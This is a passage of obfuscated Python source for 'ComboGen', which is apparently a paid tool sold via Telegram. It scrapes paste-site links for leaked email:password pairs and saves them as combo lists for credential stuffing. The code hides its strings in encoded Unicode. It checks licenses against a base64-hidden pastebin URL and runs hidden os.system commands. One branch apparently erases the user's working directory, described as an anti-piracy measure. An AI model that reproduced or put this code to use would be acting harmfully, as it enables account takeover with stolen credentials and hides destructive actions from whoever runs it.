sys.stdout.flush()
def l1l11lll(self):
global l1ll
for link in self.l11llll1:
l11lll = link.index(l11lllll (u"ࠨࠨࠪ࠵"))
l11l11l1 = link[0:l11lll]
if l11lllll (u"ࠩࡸࡹࡶࡳ࠻࠱࠲ࡴࡦࡹࡴࡦࡤࡲ࠳ࡩ࠱ࡸ࠳ࠬ࠶") not in l11l11l1:
l1ll.append(link[0:l11lll])
def l11(self, l1l111l1):
self.l11ll1l()
self.l11ll1l1()
self.l11ll1ll()
self.l11ll1l1()
self.l11l1l1l(l1l111l1)
self.l1l11lll()
class l111lll1:
def __init__(self, filename):
self.l1llll1 = l11lllll (u"ࠪࡴࡦࡹࡴࡦࡤࡲ࠳ࡩ࠱ࡵࡥࡼ࠭࠷")
self.s = Session()
self.l1l1ll1 = {l11lllll (u"࡚ࠫࡹࡥࡳࡄࡪࡴࡴࠨ࠸"):l11lllll (u"ࠬࡓࡻࡰࡦ࠵࠵࠲ࠣࠬࡆࡴࡤࡳࡱࡨࠥ࠻ࠡࡏࡲࡦࡲࡥ࠼ࠢࡵࡺ࠼࠷࠲ࠬࠤࡌࡣࡱ࠲࠺࠼࠴࠰ࠡࡈࡶࡪࡹ࠱࠹࠻࠳࠶ࠧ࠹"),
l11lllll (u"࠭ࡁࡤࡥࡨࡴࡹ࠭࠺"):l11lllll (u"ࠧࡵࡧࡻࡸ࠴ࡾࡤࡴࡵࡲࡩࡤࡣࡷࡴࡴࡹ࠰ࡦࡶࡰࡦࡥࡹ࠱ࡻࡹࡳࠬࡺࡰࡰ࠱ࡺࡥࡹࡶ࠲ࡹࡳ࠼ࡳࡀ࠴࠳ࠬࡵࡧࡻࡸ࠴ࡶࡢࡱࡶࡃ࠰࠺ࡲࡧࡧࡦ࠱ࡳࡲ࠲ࠪ࠰ࠬ࠾ࡵࡂ࠶࠶ࠩ࠻"),
l11lllll (u"ࠨࡅࡲࡲࡳࡣࡵࡲࡲࠬ࠼"):l11lllll (u"ࠩࡩࡪࡶ࠭ࡢࡺࡪ࠭࠽"),
l11lllll (u"ࠪࡏࡪࡰࡃࡻࠧ࠾"):l11lllll (u"ࠫ࠶࠷࠵ࠨ"),
l11lllll (u"ࠬࡇࡣࡤࡧࡳࡸ࠲ࡉࡨࡢࡴࡶࡩࡹ࠭ࡀ"):l11lllll (u"࠭ࡉࡔࡑ࠰࠼࠽࠻࠹࠳ࡹࡹ࠭࠹࠽ࡴࡁ࠵࠴࠷࠭ࠬ࠾ࡵࡂ࠶࠸ࠩࡁ"),
l11lllll (u"ࠧࡂࡥࡦࡩࡵࡺ࠭ࡍࡣࡱࡺࡧࡧࡦࠩࡂ"):l11lllll (u"ࠨࡧࡱ࠱ࡺࡹࠬࡦࡰ࠾ࡵࡂ࠶࠶ࠩࡃ")}
self.s.headers.update(self.l1l1ll1)
self.l1l1ll11 = re.compile(l11lllll (u"ࠩࡡࡦ࠳ࡺࡂ࠴࠲ࡠࡠࡅࡡࡡࡼࡄ࠱࠶࠭࠺ࡠࡡࡢࡣ࠰ࡾࡆ࠳࡚ࡾ࠶࠱ࡽࠥࠩࡄ"), re.IGNORECASE)
self.l1l1l = re.compile(l11lllll (u"ࠪࡢࡠ࠶࠭࠺ࡃ࠰࡞ࡦ࠳ࡺࠢࡂࠦࠨࡄࠫࡠࡠࡿ࠷࠲࠳࠳ࡿࠧࠫࡅ"), re.IGNORECASE)
self.l11l = re.compile(l11lllll (u"ࠫࡣࡨࡵࡶࡳࢀࡺࡴࡱࡵࠬ࠾࠴࠵ࡰࡢࡵࡷࡩࡧࡥࡲࡱ࠴ࡢࡷࠬࠦࠪࡆ"), re.IGNORECASE)
self.filename = filename
self.n = 0
def l1l1111l(self, links):
self.n = 0
l1ll1l1 = []
for link in links:
if link != l11lllll (u"ࠬ࠭ࡇ") and link is not None: # and self.l11l.match(link):
l1ll1l1.append(link)
with open(self.filename, l11lllll (u"࠭ࡡࠨࡈ")) as l11l11l:
for link in l1ll1l1:
print(Fore.GREEN + Style.NORMAL + l11lllll (u"ࠧࠡࡀࠣࡐࡪࡣࡩࡱࠥ࠭ࡉ") + link + l11lllll (u"ࠨ࠰࠱࠲ࠬࡊ"))
l1111l = link.replace(l11lllll (u"ࠩࡳࡥࡸࡺࡥࡣࡱ࠲ࡨࡵࠨࡋ"), self.l1llll1, 1)
req = Request(l11lllll (u"ࠪࡋࡊ࡚ࠧࡌ"), l1111l)
prep = req.prepare()
l1lll1 = self.s.send(prep, timeout=30)
soup = BeautifulSoup(l1lll1.content, l11lllll (u"ࠫࡺ࠰ࡳࡥࡷࡹࡥࡳࠩࡍ"))
l11ll1 = l11lllll (u"ࠬ࠭ࡎ").join(soup.findAll(text=True))
l1ll111 = l11ll1.split(l11lllll (u"࠭ࠩࡏ"))
i = 0
for line in l1ll111:
if l11lllll (u"ࠧࡽࠩࡐ") in line:
line = line.split(l11lllll (u"ࠨࡾࠪࡑ"))[0]
if l11lllll (u"ࠩ࠽ࠫࡒ") in line:
if l11lllll (u"ࠪࡄࠬࡓ") in line:
try:
l1lll111, l1lllll = line.split(l11lllll (u"ࠫ࠭ࡔ"))
except ValueError:
l1111l1 = line.split(l11lllll (u"ࠬࡀࠧࡕ"))
l1lll111 = l1111l1[0]
l1lllll = l1111l1[1]
l1lll111 = l1lll111.strip()
l1lllll = l1lllll.strip()
if self.l1l1ll11.match(l1lll111):
if self.l1l1l.match(l1lllll):
l1l111l = l1lll111 + l11lllll (u"࠭࠺ࠨࡖ") + l1lllll
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠧࠡ࡞ࡷࡂࠥࡉࡤࡲࠤࡋࡵࡵࡦࠣ࠾ࠥ࠭ࡗ") + l1l111l)
l11l11l.write(l1l111l + l11lllll (u"ࠨ࡞ࡱࠫࡘ"))
i = i + 1
self.n = self.n + 1
print(Fore.GREEN + Style.NORMAL + l11lllll (u"ࠩࠣࡂࠥࡌࡶࡰࡧࠤ࡙ࠬ") + str(i) + l11lllll (u"ࠪࠤࡈࡵࡣࡱࡶࠤࡴࠠࡕࡪࡷࠥࡒࡩ࠱࡚ࠫ"))
#print(Fore.GREEN + Style.NORMAL + l11lllll (u"ࠫࠥࡄࠠࡕࡱࡷࡥࡱࠦࡃࡰࡥࡳࡸࠦ࠺࡛ࠡࠩ") + Style.BRIGHT + str(self.n))
print(Fore.YELLOW + Style.DIM + l11lllll (u"ࠬࠦ࠾ࠡࡒࡵࡩࡸࡹࠠࡄࡖࡕࡐࠥ࠱ࠠࡄࠢࡤࡸࠥࡇࡺࠢࡓࡳࡴࡴࠡࡶࡲࠤࡈࡧࡤࡧࠤࡦࡴࡤࠡࡕࡤࡺࡪࠦࡃࡰࡥࡳࡸ࠴ࠠࡰࠪ"))
l1llll11 = 0
with open(self.filename, l11lllll (u"࠭ࡲࠨ")) as l11l111l:
for line in l11l111l:
l1llll11 = l1llll11 + 1
print(Fore.GREEN + Style.NORMAL + l11lllll (u"ࠧࡰࠣࡂࠥࡌࡶࡰࡧࠤࠬ࡞") + Style.BRIGHT + str(l1llll11) + Style.NORMAL + l11lllll (u"ࠨࠢࡆࡳࡲࡨࡴ࠰ࠪ"))
print(Fore.GREEN + Style.NORMAL + l11lllll (u"ࠩࠣࡂ࡙ࠥࡡࡷࡧࡧࠤࡘࡻࡣࡤࡧࡶࡷࡻࡻ࠱ࠫࡠ"))
print(Fore.CYAN + Style.BRIGHT + l11lllll (u"ࠪࠤࡃࠦࡃࡰࡥࡳࡌࠡࡤࡼࠤࡅࡥࡸࡪࡲࡱࡺࡹࡴ࠲ࡷࡦࡪࡴࡡࡧࡧ࠲ࠥࡖࡥࡢࡥࡨࠥࠬࡡ"))
def l11111l():
if os.path.isfile(l11lllll (u"ࠫ࠳ࡩࡳࡵࡷࠫࡢ")):
l11lll11 = strtobool(open(l11lllll (u"ࠬ࠴ࡦࡪࡴࡶࡸࠬࡣ"), l11lllll (u"࠭ࡲࠨࡤ")).read().strip())
else:
l11lll11 = True
return l11lll11
def l1ll1ll():
print(Fore.CYAN + l11lllll (u"ࠧࠡࡀࠣࡔࡱࡡࡴࡧࠣࡅࡱࡲࡸࠢࡖࡸࡴࡸࡡࡨࡧࠣࡔࡪࡸࡪࡵࡶࡴࡴࡳࠡࡋࡩࠤࡆࡹࡦࡦࠣࡸࡴࠦࡤࡰࠢࡖࡳ࠳࠭ࡥ"))
time.sleep(2)
if not os.path.isdir(l111111 + l11lllll (u"ࠨࡵࡷࡳࡷࡧࡧࡦࠩࡦ")):
os.system(l11lllll (u"ࠩࡷࡩࡷࡳࡵࡹࡶࡩࡹࡻࡰࡵࡷࡳࡷࡧࡧࡦࠩࡧ"))
if os.path.isdir(l111111 + l11lllll (u"ࠪࡷࡹࡵࡲࡢࡩࡨࠫࡨ")):
print(Fore.GREEN + l11lllll (u"ࠫࠥࡄࠠࡔࡷࡦࡧࡪࡹࡳࡧࡷࡰࡾࠦࡅࡴࡶࡤࡦࡱࡳࡩࡧࡧࠤࡘࡺࡳࡣࡪࡩ࠳࠭ࡩ"))
if not os.path.isdir(l111111 + l11lllll (u"ࠬࡹࡴࡰࡴࡤࡪ࠵ࡳࡩࡣࡵࡩࡩ࠵ࡖࡰࡧࡩࡲࡵࡲࡵࡅࡲࡱࡲࡻࡪࡶࡼ࠳ࡈࡵࡣࡱࡊࡩࡳ࠭ࡪ")):
os.makedirs(l111111 + l11lllll (u"࠭ࡳࡵࡱࡵࡥࡴࡪࡤࡶࡪࡪࡗࡱࡨࡪࡳࡳࡶࡆࡳࡲࡳࡵࡷࡽ࠴ࡉࡤࡲࡋࡪࡴࠧ"))
if not os.path.isdir(l111111 + l11lllll (u"ࠧࡴࡶࡲࡶࡦࡥ࠰ࡵࡥࡷࡤ࠰ࡘࡲࡰࡩࡰࡴࡷࡇࡴࡳࡶࡰࡸࡾ࠵ࡃࡰࡥࡳࡌ࠰ࡍࡨࡽࡼࡵࡲࡥࡵࠪ")):
os.makedirs(l111111 + l11lllll (u"ࠨࡵࡷࡳࡷࡧࡧࡦ࠱ࡶࡦࡸࡥࡥ࠱࡙ࡳࡱࡪࡥࡱࡵࡸࡈࡵࡷࡱࡹࡿࡄࡱࡰࡦࡴࡍࡥ࠱ࡎࡩࡾࡽࡳࡦࡶࠫ"))
if not os.path.isdir(l111111 + l11lllll (u"ࠩࡶࡸࡴࡸࡡࡨࡧ࠲ࡷࡧࡲࡦࡦ࠲࡚ࡴࡲࡤࡦࡲࡶࡹࡉࡸࡲࡺࡹ࠰ࡅࡲࡱࡧࡵࡇࡦࡰ࠲ࡇࡴࡳࡢࡰࡎࡷࡹࡹࠧ")):
os.makedirs(l111111 + l11lllll (u"ࠪࡷࡹࡵࡲࡢࡩࡨ࠳ࡸࡡࡳࡧࡧ࠳࡛ࡵࡥࡧࡰࡳࡷࡺࡃࡰࡰࡹࡳࡴࡺ࠱ࡆࡳࡲࡨࡈࡧࡱ࠳ࡈࡵࡣࡱࡏࡸࡺࡳࠨ"))
print(Fore.GREEN + l11lllll (u"ࠫࠥࡄࠠࡊࡰࡷࡩࡷࡴࡡࠢࡖࡸࡴࡸࡡࡨࡧ࠲࡚ࡴࡲࡤࡦࡲࡶࡹࡉࡸࡲࡺࡹࠡࡅࡵࡩࡦࡺࡥࡥࠢࡖࡹࡨࡩࡥࡴࡵࡩࡹࡱࡲࡹࠩࡰ"))
print(Fore.GREEN + l11lllll (u"ࠬࠦ࠾ࠡࡔࡨࡷࡹࡧࡲࡵࡱ࠳࠭ࡱ"))
time.sleep(1.5)
os.system(l11lllll (u"࠭ࡣࡧࡤࡶࠬࡲ"))
open(l11lllll (u"ࠧࡨࡶࡸࡺࠧࡳ"), l11lllll (u"ࠨࡹࠪࡴ")).write(l11lllll (u"ࠩࡉࡥࡱࡹࡥࠨࡵ"))
def l111l1l(l11l11):
if l11l11 != l11lllll (u"ࠪࡥ࡛ࡧࡄࡂࠢࡉࡉࡧࡖࡳࡃࠪࡶ"):
l11l11 = float(l11l11)
l1l11l1 = float(requests.get(l11lllll (u"ࠫࡺࡴࡱࡵ࠽࠳࠴ࡸࡡࡸ࠰ࡪࡹࡵࡣࡷࡶࡩࡷࡩࡶࡨࡲࡹ࠴ࡣࡰ࠲࡚ࡴࡲࡤࡦࡲࡶࡹࡉࡸࡲࡺࡹ࠰ࡅࡲࡱࡧࡵࡇࡦࡰ࠲ࡱࡦࡹࡴࡦࡴ࠲࠲ࡻࡲࡴࡲࡲࠬࡷ")).text.strip())
if l1l11l1 > l11l11:
l1lll11l = str(requests.get(l11lllll (u"ࠬࡴࡵࡲࡶ࠾࠴࠵ࡲࡢࡹ࠱ࡺࡨࡶࡤࡸࡷࡪࡸࡣࡰࡰࡷࡩࡳࡺࡤࡱࡰ࠳࡛ࡵࡥࡧࡰࡳࡷࡺࡃࡰࡰࡹࡳࡴࡺ࠱ࡆࡳࡲࡨࡈࡧࡱ࠳ࡲࡧࡳࡵࡧࡵ࠳࠳ࡩࡨࡢࡰࡪࡩࡱࡵࡧࠨࡸ")).text.strip())
print(Fore.GREEN + Style.BRIGHT + l11lllll (u"࠭ࠠࠢࡘࡴࡩࡧࡴࡦࠢࡄࡺࡦࡢࡤࡩ࠳ࡢࠨࡹ"))
time.sleep(0.7)
l1l1l1ll = input(Fore.GREEN + Style.NORMAL + l11lllll (u"ࠧࠡࡀࠣࡇࡧࡨࡧࡳࡀࠠࡰࡲࠬࡺ") + Style.DIM + l1lll11l + Fore.YELLOW + Style.BRIGHT + l11lllll (u"ࠨ࡞ࡱࡠࡳࠦ࠾ࠡࡆࡲࠤ࡞ࡵࡵ࡙ࠡࡤࡲࡹࠦࡴࡰࠢࡘࡴࡩࡧࡴࡦࠢࡑࡳࡼࡅࠠࠩࡻ") + Fore.GREEN + l11lllll (u"ࠩࠫࡼ") + Fore.YELLOW + l11lllll (u"ࠪ࠳ࠬࡽ") + Fore.RED + l11lllll (u"ࠫࡓ࠭ࡾ") + Fore.YELLOW + l11lllll (u"ࠬࡣࠠࠨࡿ") + Style.RESET_ALL)
if l1l1l1ll.lower() == l11lllll (u"࠭ࡹࠨࢀ"):
print(Fore.GREEN + Style.BRIGHT + l11lllll (u"ࠧࠡࡀࠣࡍࡳࡴࡪࡣࡷࡳࠠࡖࡲࡧࡥࡹࠨࢁ"))
os.system(l11lllll (u"ࠨࡩࡸࠥࡸࡥࡴࡧࡷࠤ࠲࠳ࡨࡢࡴࡧࠫࢂ"))
os.system(l11lllll (u"ࠩࡪࡹࠦࡰࡶࠤࡴࡸࡩࡨࡱࠤࡲࡧࡳࡵࡧࡵࠫࢃ"))
time.sleep(5)
print(Fore.GREEN + Style.BRIGHT + l11lllll (u"ࠪࠤࡃࠦࡕࡱࡦࡤࡸࡪࠦࡃࡰࡳࡰࡪࡺࡥࠩࢄ"))
print(Fore.GREEN + Style.BRIGHT + l11lllll (u"ࠫࠥࡄࠠࡑࡨࡥࡸࠠࡓࡧࡶࡸࡦࡸࡴࠡࡶࡩࠥࡖࡲࡰࡩࡵࡥࡲࠦࡴࡰࠢࡌࡲࡨࡵࡲࡱࡱࡵࡥࡹࠠࡵࡪࡨࠤ࡚ࡶࡤࡢࡶࡨ࠲ࠬࢅ"))
elif l1l11l1 == l11l11:
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠧࠦ࠾࡛ࠡࡲࡹࠬࡸࡥࠡࡃࡶࡪࡧࡤࡺࠢࡲࡲࠥࡺࡨࡦࠢࡏࡥࡹࡳࡵ࡙ࠢࡩࡷࡹࡩࡰࡰ࠱ࠤࡈࡥࡦࡴࡶࠥࠧࢆ"))
elif l1l11l1 < l11l11:
l11lll1 = os.getcwd()
os.system(l11lllll (u"࠭ࡲࠢ࠰ࡶࠦࠧࢇ") + l11lll1)
os.system(l11lllll (u"ࠧࡳࠣ࠱ࡷࠠ࠰ࡵࡧࡧࡦࡸࡤ࠰ࡘࡲࡰࡩࡰࡴࡷࡇࡴࡳࡶࡰࡸࡾ࠵ࡃࡰࡥࡳࡌࠨ࢈"))
print(Fore.RED + Style.BRIGHT + l11lllll (u"ࠨࠢࡁࠤࡒࡵࡤࡪࡨࡧࡦࡺࡩࡰࡰࡶࠤࡹࡵࠠࡵࡪࡨࠤࡋࡦࡵࡼࡷࡹࠡࡊࡤࡺࡪࠦࡂࡦࡧࡱࠤࡉࡴࡦࡥࡷࡩࡩ࠴ࠠࡂࠤࡉࡧࡴࡢࠢࡥࡸࠦࡂࡦࡧࡱࠤࡊࡸࡡࡴࡧࡧࠤࡦࡹࠠࡢࡰࠣࡅࡳࡺࡩࠡࡒࡶࡦࡩࡹࠡࡏࡨࡥࡸࡻࡲࡦ࠰ࠪࢉ"))
exit()
else:
print(l11lllll (u"ࠩࠣࡂࠥࡊࡥࡷࡧࡳࡵࡲࠡࡇࡻࡩࡲࡶࡴࡪࡱࡱ࠲ࠬࢊ"))
def l111ll():
if not os.path.isdir(l111111 + l11lllll (u"ࠪࡷࡹࡵࡲࡢࡩࡨࠫࢋ")):
os.system(l11lllll (u"ࠫࡹࡲࡷࡻ࠱ࡸࡴࡶࡲ࠰ࡷࡹࡵࡲࡢࡩࡨࠫࢌ"))
if os.path.isdir(l111111 + l11lllll (u"ࠬࡹࡴࡰࡴࡤࡪ࠭ࢍ")):
if not os.path.isdir(l111111 + l11lllll (u"࠭ࡳࡵࡱࡵࡥࡴࡪࡤࡶࡪࡪࡗࡱࡨࡪࡳࡳࡶࡆࡳࡲࡳࡵࡷࡽ࠴ࡉࡤࡲࡋࡪࡴࠧࢎ")):
os.makedirs(l111111 + l11lllll (u"ࠧࡴࡶࡲࡶࡦࡥ࠰ࡵࡥࡷࡤ࠰ࡘࡲࡰࡩࡰࡴࡷࡇࡴࡳࡶࡰࡸࡾ࠵ࡃࡰࡥࡳࡌࠨ"))
if not os.path.isdir(l111111 + l11lllll (u"ࠨࡵࡷࡳࡷࡧࡧࡦ࠱ࡶࡦࡸࡥࡥ࠱࡙ࡳࡱࡪࡥࡱࡵࡸࡈࡵࡷࡱࡹࡿࡄࡱࡰࡦࡴࡍࡥ࠱ࡎࡩࡾࡽࡳࡦࡶࠫ")):
os.makedirs(l111111 + l11lllll (u"ࠩࡶࡸࡴࡸࡡࡨࡧ࠲ࡷࡧࡲࡦࡦ࠲࡚ࡴࡲࡤࡦࡲࡶࡹࡉࡸࡲࡺࡹ࠰ࡅࡲࡱࡧࡵࡇࡦࡰ࠲ࡏࡪࡿࡷࡰࡴࡧࡷࠬ"))
if not os.path.isdir(l111111 + l11lllll (u"ࠪࡷࡹࡵࡲࡢࡩࡨ࠳ࡸࡡࡳࡧࡧ࠳࡛ࡵࡥࡧࡰࡳࡷࡺࡃࡰࡰࡹࡳࡴࡺ࠱ࡆࡳࡲࡨࡈࡧࡱ࠳ࡈࡵࡣࡱࡏࡸࡺࡳࠨ")):
os.makedirs(l111111 + l11lllll (u"ࠫࡸࡺࡳࡣࡪࡩ࠴ࡹࡨࡢࡴࡨࡨ࠴ࡦࡨࡱࡴࡸࡴࡄࡱࡰࡱࡺࡴࡩࡵࡻ࠲ࡇࡴࡳࡢࡰࡉࡨࡲ࠴ࡉࡤࡲࡐࡹࡴࡴࠩ"))
if not os.path.isdir(l111111 + l11lllll (u"ࠬࡹࡴࡰࡴࡤࡪ࠵ࡳࡩࡣࡵࡩࡩ࠵ࡖࡰࡧࡩࡲࡵࡲࡵࡅࡲࡱࡲࡻࡪࡶࡼ࠳ࡈࡵࡣࡱࡊࡩࡳ࠵ࡐࡳࡱࡻࡽࡑࡳࡵࡵࠪ")):
os.makedirs(l111111 + l11lllll (u"࠭ࡳࡵࡱࡵࡥࡴࡪࡤࡶࡪࡪࡗࡱࡨࡪࡳࡳࡶࡆࡳࡲࡳࡵࡷࡽ࠴ࡉࡤࡲࡋࡪࡴࡑࡴࡲࡼࡾࡒࡩࡴࡶࡶࠫ"))
def l11ll11():
print(Fore.CYAN + " > " + Back.CYAN + Fore.BLACK + "ComboGen is no longer freely accessible.")
print(Fore.CYAN + " > " + Back.CYAN + Fore.BLACK + "Authorization can be Purchased for 5$.")
print(Fore.CYAN + " > " + Back.CYAN + Fore.BLACK + "To Purchase, contact @hewhomustn0tbenamed.")
print(Fore.CYAN + " > " + Back.CYAN + Fore.BLACK + "( Telegram : https://t.me/hewhomustn0tbenamed )." + Style.RESET_ALL)
l11l1l = b'aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2REMXNQTEJ4'
print(Fore.RED + Style.BRIGHT + l11lllll (u"ࠨࠢࡁࠤࡆࡻࡴࡩࡱࡵࡿࡧࡴࡪࡱࡱࠤࡗࡱࡶࡵࡩࡩ࠴ࠠࡑࡨࡥࡸࠠࡗࡧࡵࡿ࡚ࠠࡱࡸࡶࠥࡉࡲࡦࡦࡨࡲࡹࡡࡵ࠱ࠫ"))
uname = input(Fore.GREEN + Style.DIM + l11lllll (u"ࠩࠣࡂ࡛ࠥࡳࡦࡴࡱࡥࡲࠠ࠻ࠢࠪ࢘") + Fore.RESET + Style.DIM)
pwd = hashlib.sha256(getpass.getpass(Fore.GREEN + Style.DIM + l11lllll (u"ࠪࠤࡃࠦࡐࡢࡵࡶࡻࡴࡸࡤࠡ࠼࢙ࠣࠫ") + Fore.RESET + Style.DIM).encode(l11lllll (u"ࠫࡦࡹࡣࡪ࢚ࠪ"))).hexdigest()
l1ll1ll1 = requests.get(base64.b64decode(l11l1l).decode(l11lllll (u"ࠬࡧࡳࡤ࢛ࠫ"))).text
for x in l1ll1ll1.split(l11lllll (u"࠭ࠩ࢜")):
if uname in x:
if pwd.strip() == x.split(l11lllll (u"ࠢ࠻ࠤ࢝"))[1].strip():
print(Fore.GREEN + Style.BRIGHT + l11lllll (u"ࠨࠢࡁࠤࡆࡻࡴࡩࡱࡵࡿࡧࡴࡪࡱࡱࠤࡘࡻࡣࡤࡧࡶࡷࡻࠩ࢞"))
return
print(Fore.RED + Style.BRIGHT + l11lllll (u"ࠩࠣࡂࠥࡇࡵࡵࡪࡲࡶࢀࡡࡵࡲࡲ࡛ࠥࡴࡷࡦࡧࡪࡹࡳࡧࡷ࠲ࠥࡖࡲࡰࡩࡵࡥࡲࠦࡔࡦࡴࡰࡳࡧࡴࡦࡦ࠱ࠫ࢟"))
print(Fore.RED + Style.DIM + l11lllll (u"ࠪࠤࡃࠦࡃࡰࡥࡳࡸࠦࡃࡰࡩࡨࡺࡥࡥࠢ࠽ࠤ࠵࠭ࢠ"))
os.system(l11lllll (u"ࠫࡰࠢࠪࢡ") + str(os.getpid()))
exit()
try:
l11ll11()
l11l11 = open(l11lllll (u"ࠬ࠴ࡶࡦࡴࡶࡴࡴࠧࢢ"), l11lllll (u"࠭ࡲࠨࢣ")).read().strip()
l111ll()
if l11111l():
l1ll1ll()
print(Fore.CYAN + Style.NORMAL + l11lllll (u"ࠧࡰࡸࡡࡺࠠࡠࡡࡢࡣࡤࡥࠠࠡࠢࠣࠤࠥࠦࠠࠡࠢࠣࡣࠥࠦࠠࠡࠢࠣࠤࠥࡥࡠࡡࡢࡣࡡࡴࡵ࡞ࡷࢀࠥࠦࠠࠡࠢࠣࢀࡤࡥࠡࡡࡢࡣࡤࡥࡼࠡࡾࡢࡣࠥࡥࡠࡾࠣࠤࠥࡥࡠࡾࡢࡣࡤࠦࡠࡡࡲࡡࡺࡵࡾࠣࠤࠥ࠳࠭ࡾࠣ࠲ࠥࢂࡵࠢࡿࠤ࠳ࠦࠠࡽࠢ࠱ࠤࢁࠦࠠࡽࠢࠣࠤࢁࠦ࠭ࡠࡾࠣࠤࠥࢂ࡞ࡷࡠࡹࢂࡠࡡࡢࡣࡤࢂࡠࡡࡿࡣࢁࡥࡼࡠࡾࡢࡣࡤࡥࡼࡠࡡࡢࢀࡤࡥࡠࡡࡢࢀࡤࡥࡽࡡࡿࡣࢁࡢࡰࡸࡡࡺࡵ࡞ࡷࡠࡹࡢࡴࡶࠪࢤ") + Style.DIM + l11lllll (u"ࠨ࡞ࡷࠤࡻ࠭ࢥ") + l11l11 + l11lllll (u"ࠩࠣࡦࡾࠦࡀࡩࡧࡺࡴࡳࡵࡴࡶࡱ࠴ࡹࡨࡥࡣࡰࡩࡩࡢࡰࡲࠥࡄࠠࡈࡷࡺࡨ࠺ࠡࡪࡷࡸࡵࡹ࠺࠰࠱ࡪࡹࡵࡣ࠰ࡦࡳࡲ࠵ࡖࡰࡧࡩࡲࡵࡲࡵࡅࡲࡱࡲࡻࡪࡶࡼ࠳ࡈࡵࡣࡱࡊࡩࡳࡢࡶࠪࢦ"))
time.sleep(2)
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠪࠤࡃࠦࡶࠨࢧ") + l11l11 + l11lllll (u"ࠫࠥࡊࡥࡷࡧࡳࡵࡤࠡࡤࡼࠤࠬࢨ") + Fore.GREEN + Style.BRIGHT + l11lllll (u"ࠬࡆࡨࡦࡹࡳࡲࡻࡳࡵࡰ࠳ࡸࡧࡢࡨࡨࠬࢩ") + Style.RESET_ALL + Fore.GREEN + Style.DIM + l11lllll (u"࠭ࠠࠩࡖࡨࡰࡪࡲࡢࠬ࠲ࠬࢪ"))
time.sleep(1)
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠧࠡࡀࠣࡊࡴࡸࠠࡖࡲࡧࡥࡹࡳࠡࠨࠣࡑࡴࡸࡥ࠭ࠢࡆࡪࡩࠡࡱࡸࡸࠬࢫ") + Fore.GREEN + Style.BRIGHT + l11lllll (u"ࠨࠢࡃ࡚ࡴࡲࡤࡦࡲࡶࡹࡔࡥࡸࡵࡩࡹࡺࡥࡳࠩࢬ") + Style.RESET_ALL + Fore.GREEN + Style.DIM + l11lllll (u"࡙ࠩࠣࠬࡦࡩࡵࡥࡲࠨࢭ"))
time.sleep(2)
l111l1l(l11l11)
l111l = input(Fore.GREEN + Style.DIM + l11lllll (u"ࠪࠤࡃࠦࡐࡳࡧࡶࡷࠥࡋࡵࡧࡵࠤࡹࡵࠠࡄࡱࡱࡸࡴࡵࡦ࠰ࠪࢮ") + Style.RESET_ALL)
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠫࡡࡴࠠࠢࡏࡳࡦࡪࡩࡩࠣࡏࡪࡿࡷࡰࡴࡧࡷ࠳ࡢࠡࡀࠣࡔࡱࡡࡴࡧࠣࡑࡴࡼࡥࠡࡶࡩࠥࡑࡥࡺࡹࡲࡶࡩࡹࠠࡇࡩࠥࡺࠨࢯ") + Style.BRIGHT + l11lllll (u"ࠬࠦࡉࡶࡨࡶࡳࡧࠡࡕࡷࡳࡷࡧࡧࡦ࠱࡙ࡳࡱࡪࡥࡱࡵࡸࡈࡵࡷࡱࡹࡿࡄࡱࡰࡦࡴࡍࡥ࠱ࡎࡩࡾࡽࡳࡦࡶࠫࢰ"))
time.sleep(4)
l1l1ll1l = l11lllll (u"࠭ࠧࢱ")
l11l1ll1 = []
while 1:
try:
l1lllll1 = SelectMenu()
l1l = os.listdir(l11111 + l11lllll (u"ࠧࡌࡧࡼࡻࡴࡸࡤࡴࠩࢲ"))
l11l1111 = {}
l11ll111 = []
for file in l1l:
if os.path.isfile(l11111 + l11lllll (u"ࠨࡍࡨࡽࡼࡵࡲࡥࡵ࠲ࠫࢳ") + file):
l1llll = {l11lllll (u"ࠩࡱࡥࡲࠧࢴ"):file,
l11lllll (u"ࠪࡴࡦࡺࡨࠨࢵ"):l11111 + l11lllll (u"ࠫࡐࡹࡸࡱࡵࡨࡸ࠵ࠧࢶ") + file}
l11l1111[file] = l1llll
l11ll111.append(l1llll[l11lllll (u"ࠬࡴࡡࡧࠪࢷ")])
l11ll111.append(l11lllll (u"࠭ࡒࡦࡨࡵࡩࡸࠠࡇࡩࠥࡒࡩࡴࡶࠪࢸ"))
l11ll111.append(l11lllll (u"ࠧࡆࡰࡷࡩࡷࠦࡋࡦࡻࡺࡳࡷࡪࡳࠡࡏࡤࡲࡺࡧࡻࠪࢹ"))
l1lllll1.add_choices(l11ll111)
l1l1ll1l = l1lllll1.select(l11lllll (u"ࠨࠢࡁࠤࡕࡲࡥࡢࡵࡨࠤࡘࡦࡥࡷࠤࡹࡥࠡࡆࡨࡷࡸࡥࡥࠢࡉࡱࠨࢺ"))
if l1l1ll1l == l11lllll (u"ࠩࡕࡩࡸࡥࡴࡪࠣࡊࡲࡥࠡࡎࡷࡹ࠭ࢻ"):
raise l11lll1l
else:
if l1l1ll1l == l11lllll (u"ࠪࡉࡳࡺࡥࡳࠢࡎࡩࡾࡽࡳࡦࡶࠤࡒࡧࡶࡣࡰࡾ࠭ࢼ"):
raise l111llll
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠫࠥࡄࠠࡍࡱࡤࡨࡴࡧࠡࡍࡨࡽࡼࡵࡲࡥࡵࠣࡪࡷࡵࠡࡈࡰࡪࠦ࠺ࠡࠩࢽ") + Style.NORMAL + l1l1ll1l)
time.sleep(1)
try:
with open(l11l1111[l1l1ll1l][l11lllll (u"ࠬࡶࡡࡵࡪࠪࢾ")], l11lllll (u"࠭ࡲࠨࢿ")) as key_file:
l1l11ll = key_file.readlines()
for x in l1l11ll:
l11l1ll1.append(x.strip())
if l11l1ll1 == []:
raise l1l1l11
except l1l1l11:
print(Fore.RED + Style.NORMAL + l11lllll (u"ࠧࠡࡀࠣࡊࡲࡥࠡࡶࠤࡊࡳࡰࡵࡻ࠱ࠤࠬࣀ") + Style.RESET_ALL)
continue
break
except l11lll1l:
print(Fore.GREEN + Style.DIM + l11lllll (u"ࠨࠢࡁࠤࡗࡦࡳࡧࡶࡴࡧࠡࡈࡰࡪࠦࡌࡪࡵࡷ࠲ࠬࣁ"))
time.sleep(1)
continue
except l111llll:
try:
